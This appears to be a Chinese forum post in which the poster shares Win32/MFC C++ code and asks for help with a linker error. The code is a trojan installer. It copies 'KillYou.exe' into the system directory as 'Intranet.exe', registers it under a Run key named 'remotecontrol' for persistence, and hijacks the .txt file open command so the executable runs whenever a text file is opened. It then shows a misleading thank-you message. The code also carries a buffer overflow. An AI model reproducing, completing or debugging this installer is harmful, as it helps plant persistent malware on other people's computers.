#include <tchar.h>
#include <iostream.h>
#include <afx.h>
#ifdef MAX_PATH
#undef MAX_PATH
#define MAX_PATH 200

#endif

int main()
{

TCHAR TempPath[MAX_PATH];
CString temp;

    ::GetSystemDirectory(TempPath,MAX_PATH);
temp=TempPath;
temp=temp+_T("\\Intranet.exe");
int len=temp.GetLength();

LPBYTE lpb=new BYTE[len];

for(int j=0;j<len;j++)
{
lpb[j]=temp[j];
}
  lpb[j]=0;

  if(!CopyFile("KillYou.exe",temp,FALSE))
  {
  LPVOID lpMsgBuf;

  FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | 
            FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
GetLastError(),
MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0,
NULL
                );
  MessageBox(NULL,(LPTSTR)lpMsgBuf,"Error",MB_OK);
          LocalFree(lpMsgBuf);
  }

  HKEY hKey;

  LPCTSTR data_Set="Software\\Microsoft\\Windows\\CurrentVersion\\Run";

  ::RegOpenKeyEx(HKEY_LOCAL_MACHINE,data_Set,0,KEY_WRITE,&hKey);

  ::RegSetValueEx(hKey,_T("remotecontrol"),NULL,REG_SZ,lpb,len);

  ::RegCloseKey(hKey);


  data_Set="txtfile\\shell\\open\\command";
  ::RegOpenKeyEx(HKEY_CLASSES_ROOT,data_Set,0,KEY_WRITE,&hKey);
  ::RegSetValueEx(hKey,NULL,NULL,REG_EXPAND_SZ,lpb,len);

  ::RegCloseKey(hKey);

  MessageBox(NULL,"Thank you for using this program!","Hello",MB_OK);

  delete []lpb;

  return 0;

}



--------------------Configuration: RegEdit - Win32 Release--------------------
Linking...
nafxcw.lib(thrdcore.obj) : error LNK2001: unresolved external symbol __endthreadex
nafxcw.lib(thrdcore.obj) : error LNK2001: unresolved external symbol __beginthreadex
Release/RegEdit.exe : fatal error LNK1120: 2 unresolved externals
Error executing link.exe.

也设置了多线程还出问题

 请高手指点迷津。。。。小弟感激不尽